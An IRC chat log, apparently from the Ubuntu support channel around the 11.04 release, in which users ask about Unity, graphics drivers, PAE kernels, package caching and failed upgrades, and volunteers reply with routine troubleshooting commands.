[18:22] <soreau> Hey guys I opened sound preferences and now at the same time, a terminal popped up and it's running orca (because it's talking and says so). When I close the terminal it opens itself again and starts orca again! How can I disable this?
[18:22] <txomon> Guest53463, I meant that it is gedit... somewhere in your home must be /*/gedit/
[18:22] <robin0800> eigba_, it was not ready in time
[18:22] <dooglus> frag4now: /var/cache/apt/archives/
[18:22] <rumpe1> POVaddct, xorg
[18:22] <frag4now> dooglus: thanks
[18:22] <Browser> DasEi: fix, i use sudo rm /var/lib/apt/list/*
[18:22] <FoolsRun> eigba_: I disagree. I think it's a good idea to focus on Ubuntu being one thing. Part of what's offputting about linux is how fragmented it is.
[18:22] <POVaddct> rumpe1: thanks
[18:22] <spungo> eigba_: I would prefer gnome 3 to gnome 2 + unity
[18:22] <dooglus> frag4now: "locate .deb"
[18:22] <frag4now> dooglus: doh! :P
[18:22] <JaredisAwesome>  I was trying to upgrade from 10.04 to 10.10 last night and my stupidass hit shutdown during the middle of the upgrade. Now whenever I boot its telling me I'm missing some drivers, and that Ubuntu is running in low graphics mode (though i cannot make it past that dialogue). Whenever i try to boot into recovery mode it doesn't seem to fully boot properly either. Is there anything i can do to fix this upgrade? Or should I just downl
[18:22] <Guest53463> txomon, there is not gedit in home!
[18:22] <mikebeecham> Ok, so I can see in Additional Drivers that I'm being told "Activated, but not in use"...can anyone help get these working? I have no unity at the moment
[18:22] <dooglus> frag4now: "sudo apt-get clean" will delete them and free a bunch of space.  you don't need them once they're installed
[18:23] <bp0> how to get rid of the extra shutdown/logout in the system menu? how to get normal scrollbars again? how to get rid of the very heavy shadow from the foremost window? how to fix the resize handle overlapping?
[18:23] <eigba_> spungo, Yes same here, I think unity os cool for new users but not for long time linux users
[18:23] <DasEi> Browser: nice if it works then, and mind changing your sources, fastest mirror can safe a lot of time
[18:23] <eigba_> is*
[18:23] <NyvenZA> Dr_Willis: do you know what I need to edit to use the 2d version in place of the 3d version ?
[18:23] <frag4now> dooglus: noooooooooooooo :) I have two ubuntu and i don't want to download upgrade packages two times ;)
[18:23] <robin0800> bp0, all bugs I think
[18:23] <DasEi> mikebeecham: nvidia I guess ?
[18:23] <dooglus> frag4now: look into apt-cacher.  that's what I use to only download each package once
[18:23] <mateobur> Hello
[18:23] <frag4now> apt-cacher?
[18:24] <frag4now> dooglus: ^
[18:24] <txomon> Guest53463, I meant in some folder inside your home, is a gedit folder
[18:24] <mateobur> I'm suffering an error trying to install gnome3
[18:24] <Dr_Willis> NyvenZA:  your .dmrc file perhaps. No idea what it should be.
[18:24] <dooglus> frag4now: each of my computers points to the 'server' in its sources.list, and the server caches the .deb files, so each one is only downloaded once
[18:24] <dooglus> !info apt-cacher
[18:24] <ubottu> apt-cacher (source: apt-cacher): Caching proxy for Debian package and source files. In component universe, is optional. Version 1.6.12ubuntu1 (natty), package size 79 kB, installed size 316 kB
[18:24] <mikebeecham> DasEi: actually, just discovered that the unity plugin with CCSM was not enabled :D
[18:24] <mateobur> http://pastebin.com/nub31ru9
[18:24] <DasEi> mikebeecham: you can activate the recommended from the jockey-gui, then have to stop gdm and run : sudo nvidia-xconfig, then start gdm again
[18:24] <robin0800> NyvenZA, http://www.omgubuntu.co.uk/2011/01/unity-2d-gets-a-ppa/
[18:25] <sereal> When doing do-release-upgrade I'm getting "gpg: Can't check signature: public key not found"
[18:25] <frag4now> dooglus: and what if i copy by my hand packages...deb packages are i386...they work with ever arch...
[18:25] <mikebeecham> DasEi: what is Jockey-gui?
[18:25] <Ahmuck> so, without multiple unity bars, it's a bit borked for me
[18:25] <dooglus> frag4now: some .deb files are arch-independant.  some aren't
[18:25] <dooglus> frag4now: apt-cacher will take care of that for you
[18:25] <DasEi> mikebeecham: the gui listing available drivers, it's called jockey-gtk
[18:25] <bp0> this was a big mistake.
[18:25] <Ahmuck> opening konversation, i have to go through and drive down the bar to the bottom to get it back without the taskbar
[18:26] <Lopyshok> hi all .help me with the sound ... don't work in ubuntu
[18:26] <mikebeecham> DasEi: ahhh, well it's in there that shows that I have 'activated, but not currently using" the drivers
[18:26] <Ahmuck> it's a neat start, but clunky
[18:26] <frag4now> dooglus: i'll copy packages and apt-get will download package dependant only...it's the same
[18:26] <DasEi> mikebeecham: see above, xconfig...
[18:26] <NotIpsum> jwheare: thanks
[18:26] <Guest53463> txomon, what about /usr/lib/gedit-2/plugins ?
[18:26] <Dr_Willis> anyone else noticed some weirdness in the 'Applications lens' (in the left side bar the mag glass with the +)  Its Got 'apps availiable for download' and for some reason its showing 'xubuntu-restricted-extras' whats the logic behind showing me that :)
[18:26] <DasEi> mikebeecham: you can activate the recommended from the jockey-gui, then have to stop gdm and run : sudo nvidia-xconfig, then start gdm again
[18:26] <A_J> can i upgrade from 10.10 32bit to 11.04 64bit ?
[18:26] <Lopyshok> hi all .help me with the sound ... don't work in ubuntu
[18:26] <NyvenZA> robin0800: my GDM doesn't work
[18:27] <Jot> I have been trying to set resolution and refresh rate proper for my screen which ubuntu doesn't recognize for 2 days searching on Internet for info, this low refresh rate hurts my eyes, please help!
[18:27] <NyvenZA> I get can't see anything of GDM
[18:27] <Jordan_U> aperson: You're welcome.
[18:27] <Xeli> Did anyone manage to install xbmc? installing by adding de ppa etc does not work for me, could anyone point me in the right direction?
[18:27] <Lopyshok> hi all .help me with the sound ... don't work in ubuntu
[18:27] <txomon> Guest53463, I supose that you may have something similar in your home
[18:27] <Guest53463> i dont see it
[18:27] <A_J> can i upgrade from 10.10 32bit to 11.04 64bit ? DasEi
[18:27] <txomon> Guest53463, that would be 4 everyone
[18:27] <mikebeecham> DasEi: the drivers ARE activated, but I am being told they are not being used. I've rebooted a numbers of times, but nothing changes
[18:27] <dooglus> frag4now: if the package name has _i386.deb at the end, it's Intel.  if it has _all.deb, it's independent
[18:27] <Dr_Willis> A_J:  you cant upgrade from 32bit to 64
[18:27] <robin0800> NyvenZA, you have a terminal?
[18:27] <Lopyshok> hi all .help me with the sound ... don't work in ubuntu .... obody  help me
[18:27] <Jot> mikebeecham: I have excatly the same with my drivers
[18:27] <A_J> hmm ok Dr_Willis.. ty
[18:27] <Lopyshok> ?
[18:27] <frag4now> dooglus: i386 it's a kind of arch
[18:27] <frag4now> ;)
[18:28] <DasEi> A_J: not recommened, either use pae or a fresh install, see :
[18:28] <frag4now> the common to any pc
[18:28] <DasEi> !pae
[18:28] <ubottu> To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[18:28] <NyvenZA> robin0800: yes
[18:28] <frag4now> "any standard"
[18:28] <Guest53463> how can u display hidden files?
[18:28] <DasEi> mikebeecham: see above, xconfig...
[18:28] <s5fs> Guest53463: ls -la
[18:28] <sereal> Xeli: I was able to do install xbmc, you gotta be a bit more specific on what the problems were.
[18:28] <A_J> pae ?
[18:29] <FoolsRun> Does anyone have a "best way" to move an Ubuntu installation from one hard drive to another?
[18:29] <txomon> s5fs, ls -laR | grep *gedit*
[18:29] <A_J> DasEi: pae ?
[18:29] <A_J> !pae
[18:29] <ubottu> To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[18:29] <DasEi> Guest53463: or ctrl-h in nautilus
[18:29] <sereal> Xeli: also check #xbmc-linux they might be more specific
[18:29] <txomon> Guest53463, in gnome is with CTL+H
[18:29] <DasEi> A_J: it's a specialised kernel to adress more ram, the server-kernel also delivers it
[18:29] <metallicacom> siemka
[18:30] <ubuntu_user> I have 20 gb free space on my HDD, how to i use it to install UBUNTU 11.04, i am on installer.
[18:30] <Chilaquiles> hey guys how can I make the view that I have in nautilus the default view, because every time I open it I have to add the panel that is not appearing
[18:30] <mikebeecham> DasEi: where? link?
[18:30] <bp0> will there be cdemu for natty?
[18:30] <Goliath> hey is gnome3 included in the last ubuntu?
[18:30] <sereal> When doing do-release-upgrade I'm getting "gpg: Can't check signature: public key not found"
[18:30] <Vhozard> Whats this? "Fast TSC calibration failed"
[18:30] <DasEi> mikebeecham: you can activate the recommended from the jockey-gui, then have to stop gdm and run : sudo nvidia-xconfig, then start gdm again
[18:30] <Dr_Willis> bp0:  you can mount ISO files if you need to get to their contents..  what are youy trying to do with cdemu?
[18:30] <tomatobros> Goliath,  no it's not
[18:30] <robin0800> NyvenZA, sudo apt-get install unity-2d
[18:30] <akashm1990> Should I download a .tar.gz version of revenge of the titans, or a .deb version? (Ubuntu 10.10)
[18:30] <NyvenZA> ok, so now things are getting worse, When I now try and get to a console, the mouse stays on the screen and the text cursor flashes on the screen and then I am dead in the water
[18:30] <NyvenZA> robin0800:did that already
[18:30] <mikebeecham> man alive DasEi what's wrong with you? You've posted that 3 times, and I've already told you that the drivers ARE activated
[18:30] <Dr_Willis> akashm1990:  eitehr one shoudl work. tar.gz you can install inyour users home dir.
[18:31] <DasEi> mikebeecham:stopping gdm (logs you out!) sudo service gdm stop , start
[18:31] <robin0800> NyvenZA, log out
[18:31] <Ahmuck> unity bar works great for touch screen, not so great for mouse
[18:31] <xinel> installed 11.04, after boot a purple screen comes up and nothing happens, what should i do?
[18:31] <akashm1990> Dr_Willis, ok, doesnt make any difference then?
[18:31] <DasEi> mikebeecham:before they won't be used, you kept asking that
[18:31] <mikebeecham> DasEi: I know!!! The drivers are activated, I've stopped and started gdm, but I'm still being told that the drivers are currently not being used
[18:31] <A_J> umm, pae is not installed by default and this command is not workin
[18:31] <A_J> sudo aptitude install linux-generic-pae linux-headers-generic-pae
[18:31] <NyvenZA> robin0800: I restarted PC
[18:31] <DasEi> mikebeecham:and ran sudo nvidia-xconfig ?
[18:31] <econdudeawesome> Howdy all! What is the program that allows one to use the mouse in a tty shell?
[18:31] <bp0> Dr_Willis, it's not the same
[18:32] <jbeatty> econdudeawesome, gpm
[18:32] <Nickname_> using pae & nvidia aok
[18:32] <Jot> mikebeecham: I bet you won't find solution to your problem here :p
[18:32] <scorch2> is there any experts here on the install process?  its frozen for me
[18:32] <acidflash> this is what i did, i made a small bash script to check if hte squid.pid exists.. if it doesnt... then start the service.. i added that to crontab and it checks it every minute....
[18:32] <A_J> DasEi ?
[18:32] <mikebeecham> Jot: I wont find it with DasEi
[18:32] <robin0800> NyvenZA,  at the log on screen choose unity-2d
[18:32] <NyvenZA> now I just a black screen after the syste loads
[18:32] <Nickname_> alt+F?
[18:33] <Dr_Willis> robin0800:  he has no login/gdm dont work. :() if you are using unity-2d you could tell him whats in your .dmrc file.
[18:33] <ubuntu_user> I have 20 gb free space on my HDD, how to i use it to install UBUNTU 11.04, i am on installer.
[18:33] <NyvenZA> robin0800: you don't seem to understand, i don't get a login screen
[18:33] <DasEi> A_J: yes ?
[18:33] <NyvenZA> it is just a blank screen
[18:33] <FoolsRun> I want to move my Ubuntu install to a newer, larger hdd. Anyone have a good howto on this?
[18:33] <ahayzen> Hi upgrading from 10.10 to 11.04 via LiveCD .. all going well..but now it has stopped at 'Restoring Previously Installed Packages' ... there is no activity on the HDD or CD ..but the network like does seem to be active .. is this an issue or do i just have to wait???
[18:33] <A_J> DasEi:
[18:33] <Dr_Willis> ubuntu_user:  the installer can resize existing partitions to make a new one  you can install too. Unles syou have a really weird drive layout
[18:33] <A_J> umm, pae is not installed by default and this command is not workin
[18:33] <A_J> 23:04 < A_J> sudo aptitude install linux-generic-pae linux-headers-generic-pae
[18:33] <scognito> hi
[18:34] <txomon> hi
[18:34] <scorch2> upgradehelp?
[18:34] <txomon> scorch2, could be
[18:34] <scognito> it's about 3 years I don't use IRC for help lol :)
[18:34] <Goliath> hey is gnome3 unstable?
[18:34] <scorch2> txomon ?
[18:34] <ubuntu_user> Dr_Willis:  can i just select that free space to install
[18:34] <txomon> scorch2, which is your problem+
[18:34] <Nickname_> black screen =nvidia driver?
[18:34] <jiltdil> i have i nstalled "radio tray" but clicking to it doesnot openig it?
[18:34] <scorch2> txomon my upgrade to natty is frozen
[18:34] <NyvenZA> Nickname_: probably
[18:35] <Dr_Willis> ubuntu_user:  ubuntu installs to a partition.  it needs to resize what you got. to make a new partition. that can take quite a bit of time  - depending on yoru system.
[18:35] <mikebeecham> Jot: is this a problem with the drivers, or with Ubuntu?
[18:35] <NyvenZA> going to uninstall the NVidia one and install the ubuntu one agian
[18:35] <Dr_Willis> ubuntu_user:  you could use windows to resize your windows partitions tomake some 'unallocated' space and tell ubuntu to install to the unalocated space
[18:35] <Vustom> Is the launchpad PPA down for anyone else?
[18:35] <A_J> can som1 help me install PAE this command is not working
[18:35] <A_J> umm, pae is not installed by default and this command is not workin
[18:35] <A_J> 23:04 < A_J> sudo aptitude install linux-generic-pae linux-headers-generic-pae
[18:35] <DasEi> A_J: sudo apt-get update && sudo apt-get upgrade   (new kernel needs reboot), then try again
[18:35] <Dr_Willis> Vustom:  yes it is down here.
[18:35] <scognito> anyway I've just installed 11.04 and on my geforce go 7400 the only driver working seems nouveau (it worked with unity on previous beta installation). the problem is that compiz doesn't start at login now (fresh installation)...any hint?
[18:35] <ubuntu_user> Dr_Willis:  i have 4 gb ram with i5
[18:35] <scorch2> txomon i stoped at generatin grub.cfg
[18:35] <Goliath> HEY
[18:35] <econdudeawesome> thanks jbeatty--Jeff Beatty of Wisconsin?
[18:35] <ahayzen> Hi upgrading from 10.10 to 11.04 via LiveCD .. all going well..but now it has stopped at 'Restoring Previously Installed Packages' ... there is no activity on the HDD or CD ..but the network like does seem to be active .. is this an issue or do i just have to wait???
[18:35] <Goliath> is gnome 3 unstable?
[18:35] <Vustom> Damn.. I want to install my applets. :'(
[18:35] <Goliath> will break?
[18:35] <Jot> mikebeecham: I would like to know, maybe that's the reason I can't set resolution
[18:35] <Dr_Willis> Vustom:  i tried it abouit 5 min ago.. got timeouts
[18:35] <Nickname_> main source of black screen is usually weirk nvidia/kernel issue, do text install, update then retry
[18:35] <A_J> ty DasEi
[18:35] <joako> Is there some user-friendly CLI tool for package management? I'm trying to use aptitude but to find an installed package and remove it seems impossible
[18:36] <DasEi> Goliath: can happen, yes
[18:36] <jiltdil> hi radio tray is not working
[18:36] <txomon> scorch2, that means you have to select between your local config or the packets config
[18:36] <DasEi> !gnome3 | Goliath
[18:36] <ubottu> Goliath: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[18:36] <A_J> DasEi: that should install it ?
[18:36] <txomon> try if you can see another window out there
[18:36] <A_J> correct ?
[18:36] <Vustom> Well, I came here to ask a question, theres another audio application out there thats like PulseAudio and starts with an a, anyone know what it's called..
[18:36] <Goliath> ok
[18:36] <jiltdil> how to fix Radio tray as clicking to it doesnot opening it?
[18:36] <Vustom> I need it for my Xbox 360.. D:
[18:36] <DasEi>  Goliath: fine in my vm, though, own risk
[18:36] <A_J> what does it do Vustom  ?
[18:36] <mikebeecham> Jot: if I found out I'll let you know
[18:37] <Vustom> Adjust volume(s) in Ubuntu
[18:37] <ubuntu_user> how many partitions do i make of that 20 gb and of which types
[18:37] <DasEi> A_J: that should make it possible, yes
[18:37] <Vustom> It's more complex then the standard stuff.
[18:37] <NyvenZA> I see a re-install of ubuntu 10.10 coming my way
[18:37] <Vustom> :3
[18:37] <botcity> Vustom, alsamixer
[18:37] <A_J> thank you DasEi will brb after reboot
[18:37] <Vustom> Thanks!
[18:37] <mikebeecham> Easy question - within unity my 4 workspaces have been set into a grid (2 up and 2 down)...how can I change it back to 4 in a line?
[18:37] <Vustom> What do I type to get alsamixer in the terminal again -.-
[18:37] <Vustom> sudo apt-get alsamixer?
[18:37] <DasEi> A_J: sudo apt-get install linux-generic-pae linux-headers-generic-pae
[18:38] <botcity> Vustom, alsamixer!
[18:38] <Vustom> :O
[18:38] <Vustom> It's already installed. >:)
[18:38] <flametai1> Hey guys quick question, I upgraded from 10.04 to 11.04 but I don't have the fancy new menu, and launcher, how do I get this? lol
[18:38] <econdudeawesome> Vustom: try typing als and pressing "tab" a couple of times to see what packages are available
[18:38] <Nickname_> using natty with classic (normal gnome) no hassels unity not worth the hassel
[18:38] <econdudeawesome> Vustom: autocompletion rocks
[18:38] <A_J> DasEi: what command did you give me earlier
[18:38] <botcity> Vustom, yes
[18:38] <Nickname_> and usung radiotray
[18:38] <DasEi> A_J: sudo apt-get update && sudo apt-get upgrade   (new kernel needs reboot), then try again
[18:39] <A_J> okie ty
[18:39] <A_J> installing pae now
[18:39] <Dr_Willis> mikebeecham:  i dont think you do. you could play with the CCSM settings on the general tab
[18:39] <botcity> !sound | Vustom
[18:39] <ubottu> Vustom: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[18:39] <A_J> how do i reboot kernal ?
[18:39] <ubuntu_user> how do i do that?
[18:39] <A_J> reboot pc ?
[18:39] <Dr_Willis> A_J:  yes.
[18:39] <flametai1> Anyone know how to at all?
[18:39] <flametai1> o-o
[18:39] <Chilaquiles> anybody here that uses clutterflow in Nautilus that can help me please?
[18:40] <subcool> i need help with this command for x11vnc -"/usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0" --------- The command creates a loop, opening infinite number of sessions.
[18:40] <Dr_Willis> flametai1:  check th GDM login screen. see if theres a unity/gnome-classic items
[18:40] <A_J> btb
[18:40] <Vustom> It's a setting I've got to change when I make a new install of Ubuntu; that's all. :3
[18:40] <A_J> brb
[18:40] <mikebeecham> Dr_Willis: boooo
[18:40] <mikebeecham> thanks anyway!
[18:40] <Vustom> So my Xbox 360 sound can stream through my PC and into my headphones, along with mic.
[18:40] <flametai1> Dr_Willis, there's only Ubuntu option o-o
[18:40] <flametai1> Or Ubuntu classic
[18:40] <Dr_Willis> flametai1:  ubutu is unity.. classic is old gnome
[18:40] <necreo> ho do you pin windows on top now with unity?
[18:40] <Nickname_> classic = no headaches :)
[18:41] <cucujoidea> hello, thanx for the new ubuntu. I have a question regarding the installation: i have the 11.04 .iso file (on ubuntu 10.10), right clicked on it and integrated it as a "drive" which is shown on my desktop. can i upgrade from it without burning the cd? if yes, how can i point the package manager to it?
[18:41] <joako> I can't do anything with package management because I always get: ia32-sun-java6-bin : Depends: sun-java6-jre (>= 6.24-1build0.10.10.1) but it is not going to be installed
[18:41] <joako> And I can't remove ia32-sun-java because of the same issue
[18:41] <flametai1> When I tried booting into the OS after the upgrade, it said my hardware wasn't capable of Unity? But I don't see why it wouldn't
[18:41] <Dr_Willis> necreo:  right cliock  on the title - use the menu items
[18:41] <flametai1> Dr_Willis, When I tried booting into the OS after the upgrade, it said my hardware wasn't capable of Unity? But I don't see why it wouldn't
[18:41] <Dr_Willis> flametai1:  you need your 3d drivers for your video card
[18:42] <flametai1> Dr_Willis, Aaaaaaaaaaaah okay, I was unsure if I did or not considering Compiz ran without it
[18:42] <necreo> Dr_Willis: doesn't really work nicely with chrome but ok
[18:42] <nyquist333> Dr_Willis - Will my compiz settings work if I upgrade to 11.04?
[18:42] <necreo> thanks
[18:42] <rumpe1> cucujoidea, it's much easier to just boot from it
[18:43] <Dr_Willis> flametai1:  unity uses compiz.. unity-2d does not.
[18:43] <middle> HELP: When i boot into Ubuntu it hangs on: 'Begin: Running /scripts/init-bottom .. done.'. I was previously suffering Black screen issues so i uninstalled Ati's proprietry driver and now after re installing it, it is hanging not even reaching the black screen stage. Thanks
[18:43] <cucujoidea> rumpel: does that allow an upgrade without complete reinstall?
[18:43] <Vustom> 11.4 scared me at first, but I'm starting to like it. :3
[18:43] <Dr_Willis> nyquist333:  some compiz settings can break unity it seems.
[18:43] <mikebeecham> unity is not worth the hassle
[18:43] <Dr_Willis> complaining about unity is not worth the hassle. :)
[18:43] <A_J> DasEi: does after installing pae a reboot required
[18:43] <middle> Oh yeah and if i upgrade will it insall unity?
[18:44] <Dr_Willis> middle:  yes it will.
[18:44] <nyquist333> I don't understand, if I use GNOME will my compiz settings be there? Or would unity change them.
[18:44] <middle> ah maybe i shan't upgrade then
[18:44] <Vustom> If you don't like Unity just switch to Ubuntu classic..
[18:44] <Vustom> -.-'
[18:44] <Dr_Willis> nyquist333:  thers only one set of compiz settings.. so yes. one would affect the other I think.
[18:44] <ubuntu_user> is there anybody who could help a new one
[18:44] <DasEi> A_J: yes, to avoid such, checkout ksplice
[18:44] <A_J> !ksplice
[18:44] <nyquist333> Dr_Willis - So, after upgrading, I should disable unity?
[18:44] <nit-wit> middle, can you get in with low graphics mode
[18:44] <Nickname_> no
[18:45] <Dr_Willis> nyquist333:  if you dont want it.. select the classic desktop
[18:45] <A_J> whats that DasEi
[18:45] <rumpe1> nyquist333, if you want to be sure: just backup your compiz-config (located in $HOME/.compiz)
[18:45] <Nickname_> switch desktops but keep checking updates
[18:45] <dncrash> i think i tried to run unity 2d with compiz because now i have no titlebars on windows and no taskbar. any way to reset unity to default ?
[18:45] <nit-wit> dncrash, did you modify compiz
[18:45] <nyquist333> I'm trying 11.04 in a VM first, and I've backed up my base system.
[18:45] <ubuntu_user> fuck
[18:45] <NyvenZA> dncrash: i tink unity --reset
[18:46] <middle> nit-wit: No im trying to boot in safe mode and it just hangs at the afformentioned command. there is occasionally other stuff after it like [4.7993847] firewire etc... but no it won't progress
[18:46] <NyvenZA> but I had no luck with that
[18:46] <mrdat> MacUbuntu 11.04
[18:46] <IdleOne> ubuntu_user: no swearing please
[18:46] <dncrash> modify it ? no, how could i modify it. thanks nyvenZA
[18:46] <eigba_> dncrash, I did the same thing, what i did was delete the config files from my home direcotry to fix it
[18:46] <Jot> Difficult question: how can I change resolution in ubuntu 11.04?
[18:46] <tully-> how do you enable remote desktop on natty from the command line? can you still use gconftool-2?
[18:46] <A_J> DasEi: kslice is paid :\
[18:46] <dncrash> ty, i'll try that too
[18:46] <NyvenZA> dncrash: that serts all settings
[18:47] <A_J> brb, reboot
[18:47] <Vustom> Anyone know how to enable the new scrollbars in Firefox?
[18:47] <ScottONanski> mamma say... mamma saw... mamma ma koo saw.
[18:47] <progre55> hey guys. A friend has installed ubuntu using the windows installed (wubi, or what was that) and now I'm about to install him natty from a disc. But I dont see the ubuntu partition. How do I delete/uninstall/remove the previous installation?
[18:47] <middle> I am thinking of booting intoa live disc and re-uninstalling the drivers
[18:47] <Cryp71c> Is there any plan for an official package for gnome3 in Ubuntu, since Unity is the default now?
[18:47] <DasEi> A_J: it's in repo and can be used free
[18:47] <DasEi> !info ksplice
[18:47] <ubottu> ksplice (source: ksplice): Patching live kernel without having to reboot. In component universe, is optional. Version 0.9.9-4 (natty), package size 1244 kB, installed size 3084 kB (Only available for i386 amd64 arm armel armhf)
[18:47] <eigba_> dncrash, I deleted the .gnome2, gconf, and gconfd file lol it fixed it for me
[18:47] <progre55> installer*
[18:47] <Nickname_> nice website for noobies & pros webupd8
[18:47] <maco> progre55: wubi doesnt install to a partition, so there isn't one
[18:47] <arnab> how can i check the 3d performance?
[18:47] <maco> progre55: his old ubuntu is just a very very large file on the windows partition
[18:47] <progre55> maco: so how do I remove it?
[18:48] <subcool> back
[18:48] <subcool> ok- so.. anyone?
[18:48] <DasEi> arnab: triplegears
[18:48] <dncrash> ty eigba. if unity --reset doesn't work i'll delete those files
[18:48] <maco> progre55: same way you remove any program in windows, the add/remove applications window
[18:48] <progre55> maco: oh I see, so is that okay if I just delete it?
[18:48] <arnab> thanks
[18:48] <progre55> swell
[18:48] <scorch2> ok my computer is broken.  an some one help please
[18:48] <progre55> maco: thanks
[18:48] <maco> progre55: np
[18:48] <karth> upgraded to 11.04 on virtualbox, got guest additions installed. My unity icons appear to be scaled 32x32 icons, and all the fonts are blocky. anyone else run into this?
[18:48] <TheHackOps> goodnight people
[18:49] <andromeda> #ubuntu
[18:49] <mintux> I have problem when I record desktop with gtk-recordmydesktop and compiz cube .what should I do?
[18:49] <TheHackOps> mintux, tell us the problem
[18:49] <arnab> can't find the tripple gears
[18:49] <TheHackOps> lol
[18:49] <scorch2> help please any.  i had to restart becausw install froze.  now system wont boot
[18:49] <mintux> the effect when I rotate cube has problem when record my desktop
[18:49] <cablop> exit
[18:49] <TheHackOps> scorch2, Re-do the install
[18:49] <IdleOne> scorch2: restart the install
[18:50] <navalis> Dear All, good Day. Did anyone experienced, that after upgrade to 11.02 the system not halting down? Freezes with dark monitor? but sys.block remains working.\
[18:50] <scorch2> ho?
[18:50] <scorch2> how?
[18:50] <rumpe1> mintux, which problem exactly? (check your log files)
[18:50] <middle> PROBLEM: Was suffering a black screen on boot > Uninstalled Ati Drivers > Rebooted > Re-Installed Ati Drivers > Rebooted > System hangs at 'Begin: RUnning /scripts/init-bottom ... done.'
[18:50] <andromeda> Hi question if I have 11.04 beat do I need to to something to jump to final release???? thx
[18:50] <scorch2> my computer wont boot now
[18:50] <Cryp71c> Anyone? 11.04 + Gnome3?
[18:50] <A_J> DasEi: Kspice is A Paid app ?
[18:50] <popey> !gnome3 | Cryp71c
[18:50] <ubottu> Cryp71c: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[18:50] <TheHackOps> Scorch2, PM
[18:50] <johanhar> Help, where is compiz :S I installed 11.04
[18:50] <rumpe1> andromeda, no, just update
[18:50] <tim> Having trouble upgrading to Ubuntu 11.04.  How can I resolve error "Failed to fetch http://..." Something wicked happened resolving 'archive.canonical.com:http' (-5 No address associated with hostname)?
[18:50] <mintux> the movie has leap when I rotate desktop in output movie
[18:50] <johanhar> How can I find out what window manager is currently active??
[18:50] <Cryp71c> popey: who'se working on those experimental packages? Is there any hope for them to eventually become stable?
[18:51] <popey> mintux: sadly a flaw with recordmydesktop
[18:51] <andromeda> rumpe1, THX! that what I thought !
[18:51] <arnab> how do i find out how much space is being used?
[18:51] <johanhar> How can I find out what window manager is currently active??
[18:51] <popey> Cryp71c: click the link and you can see the team responsible
[18:51] <STALKER> there is a girl with whom you can learn !!!!!!!!!???????????
[18:51] <wad> Any of you guys know what I need to enable in the CompizConfig Settings Manager in order to be able to resize windows once again?
[18:51] <DasEi> A_J: what do you mean with paid ? free to use
[18:51] <popey> mintux: recordmydesktop isn't very good at recording 3d stuff
[18:51] <subcool> Can someone please tell me why this commond: /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0 " out offhttp://www.kubuntuguide.info/index.php/Maverick#X11VNC_Server creates a vncserver loop?
[18:52] <mintux> popey: so what should I do?
[18:52] <A_J> DasEi: on the website says paid, can i have a link please, or a terminal
[18:52] <DasEi> !info ksplice
[18:52] <ubottu> ksplice (source: ksplice): Patching live kernel without having to reboot. In component universe, is optional. Version 0.9.9-4 (natty), package size 1244 kB, installed size 3084 kB (Only available for i386 amd64 arm armel armhf)
[18:52] <johanhar> How can I find out what window manager is currently active??
[18:52] <mintux> I have pretension about linux and 3d desktop at university
[18:52] <popey> mintux: i run natty in a vm and use ffmpeg to record rather than recordmydesktop
[18:52] <popey> mintux: do it live rather than recorded :)
[18:53] <mbeierl> subcool: is there already a display running on ":0" ?
[18:53] <mintux> not working when I input video projector compiz doesn't show
[18:53] <STALKER> is a girl?
[18:53] <rubydiamond> Guys what should be the 'gateway' and 'dns-nameservers' in /etc/network/interfaces .. if there is none
[18:53] <middle> I am goign to have to go to the forums to get an answer to this aren't i XD
[18:53] <mintux> I tried it before
[18:53] <IdleOne> STALKER: do you have a support wuestion related to Ubuntu?
[18:53] <IdleOne> question*
[18:53] <rumpe1> johanhar, ps x
[18:53] <karth> Anyone have any thoughts on fixing all of unity looking really blocky?
[18:53] <A_J> som1 apt-get for ksplice
[18:54] <mbeierl> rubydiamond: that unfortunately depends on your ISP or network provider.
[18:54] <subcool> mbeierl, idk
[18:54] <A_J> nvm got it
[18:54] <STALKER> IdleOne No
[18:54] <A_J> ty DasEi for the name of the program
[18:54] <subcool> mbeierl, how would i find out?
[18:54] <rubydiamond> mbeierl: from where can I read it
[18:54] <mbeierl> subcool: try changing :0 to :1
[18:54] <rubydiamond> mbeierl: I have a linode slic
[18:54] <Einis> Sup guys, how is 11.04?
[18:54] <johanhar> different
[18:54] <raven_> 11.04 how to cange to gnome 3.0?
[18:54] <IdleOne> STALKER: then please don't ask if there are any girls here. This is not a dating service.
[18:54] <johanhar> dont like it :D
[18:54] <johanhar> compiz is gone
[18:54] <A_J> Einis: good
[18:54] <johanhar> i had it all set up
[18:54] <Einis> Hmm yeah
[18:55] <middle> Hmm wierd... rebooted twice and it works : S
[18:55] <FloodBot1> johanhar: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:55] <DasEi> A_J: np, have less reboots ;)
[18:55] <Einis> I had a feeling it would be
[18:55] <A_J> what is Compiz ?
[18:55] <keithtoo1> rubydiamond: gateway and dns servers are usually listed on your router/modem config screen
[18:55] <mbeierl> rubydiamond: I cannot answer where as it comes from your network.  Do you use DHCP or is your address statically assigned?
[18:55] <A_J> DasEi: how do i reboot the terminal but, what command ?
[18:55] <DasEi> !info compiz | A_J
[18:55] <ubottu> A_J: compiz (source: compiz): OpenGL window and compositing manager. In component main, is optional. Version 1:0.9.4+bzr20110415-0ubuntu2 (natty), package size 5 kB, installed size 52 kB
[18:55] <johanhar> A_J: my window manager
[18:55] <rubydiamond> :)
[18:55] <DasEi> A_J: sudo reboot
[18:55] <mbeierl> keithtoo1: thanks... I suddenly have to run, can you continue with rubydiamond, please?
